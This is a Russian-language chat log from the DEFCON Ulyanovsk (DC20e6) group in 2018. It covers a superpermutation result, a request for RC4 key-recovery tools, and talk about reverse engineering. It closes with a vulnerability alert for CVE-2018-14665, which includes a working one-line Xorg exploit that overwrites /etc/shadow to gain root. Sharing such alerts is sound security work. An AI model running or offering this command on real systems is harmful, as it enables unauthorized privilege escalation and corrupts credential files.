Size: a a a

DC20e6: DEFCON Ульяновск

2018 October 25

TK

Tagir Kh. in DC20e6: DEFCON Ульяновск
Закончим день хорошей новостью: анонимус доказал новую нижную оценку длины строки, включающей в себя все перестановки N элементов (superpermutation). Копия оригинального треда с 4chan, пересказ в fandom wiki /sci, более формальный пересказ в почтовой рассылке и наконец аккуратная pdf от Jay Pantone.

Друзья подсказывают, что это просто Перельману надоело лишнее внимание и топология (а ещё он, судя по всему, любит аниме).
источник

R

RusEm in DC20e6: DEFCON Ульяновск
Доброе утро. Спрошу ещё тут.
источник

R

RusEm in DC20e6: DEFCON Ульяновск
Никто не подскажет тулзу для Брута ключа RC4  на основе пары plaintext->chipertext
источник

R

RusEm in DC20e6: DEFCON Ульяновск
Ну или восстановление rc4 key  из  keystream
источник

F

Fred in DC20e6: DEFCON Ульяновск
я опять жеж хз но может оно https://gist.github.com/cosu/4017169
источник

R

RusEm in DC20e6: DEFCON Ульяновск
Где то я это уже видел. Возможно даже сегодня)
источник

F

Fred in DC20e6: DEFCON Ульяновск
источник

F

Fred in DC20e6: DEFCON Ульяновск
еще что-то
источник

R

RusEm in DC20e6: DEFCON Ульяновск
Спасибо попробую. Но конечно странно что они юзают энтропию
источник

F

Fred in DC20e6: DEFCON Ульяновск
я не очень понимаю всю эту криптографию, но может я умею хорошо гуглить
источник

F

Fred in DC20e6: DEFCON Ульяновск
:D
источник

R

RusEm in DC20e6: DEFCON Ульяновск
Ну тут я понимаю xor tool. Это я и ручками могу keystream вытащить. Вопрос именно в получении ключа а не keystream
источник

R

RusEm in DC20e6: DEFCON Ульяновск
Но все равно спасибо)
источник

R

RusEm in DC20e6: DEFCON Ульяновск
Fred
я не очень понимаю всю эту криптографию, но может я умею хорошо гуглить
А я не очень понимаю в этих ваших гитах)
источник

F

Fred in DC20e6: DEFCON Ульяновск
RusEm
А я не очень понимаю в этих ваших гитах)
ну зато у тебя навыки реверса есть, это круто, меня даже не хватило крякнуть одну игрушку ради акдемического удовольствия, кряков в интернете полно, так и забил
источник

R

RusEm in DC20e6: DEFCON Ульяновск
Дык тут самое главное усидчивость. Реально порой можно убить пару часов чтобы понять что функция просто извлекает корень из 64битного числа
источник

SN

Sergey Neklyudov in DC20e6: DEFCON Ульяновск
RusEm
Дык тут самое главное усидчивость. Реально порой можно убить пару часов чтобы понять что функция просто извлекает корень из 64битного числа
Не в самом худшем случае я скажу
источник
2018 October 26

DM

Denis Morozov in DC20e6: DEFCON Ульяновск
Народ всем привет. Спрошу тут еще. Есть кто с Asterisk работает вплотную. Есть задачка.
источник

DM

Denis Morozov in DC20e6: DEFCON Ульяновск
Все вопросы в личку.
источник

R

Roman in DC20e6: DEFCON Ульяновск
Обнаруженная уязвимость CVE-2018-14665 затрагивает OpenBSD и большинство дистрибутивов Linux (включая Debian, Ubuntu, Red Hat, Fedora), и выглядит так:

cd /etc; Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1;su

Эта уязвимость позволяет злоумышленникам с ограниченным доступом к системе (Например, через сессию SSH) повысить свои привилегии до уровня root.

Больше информации об уязвимости тут:
https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
и тут
https://lists.x.org/archives/xorg-announce/2018-October/002927.html

У OpenBSD уже есть фикс, для ваших любимых дистрибутивов линуксов следите за апдейтами у вендоров.
источник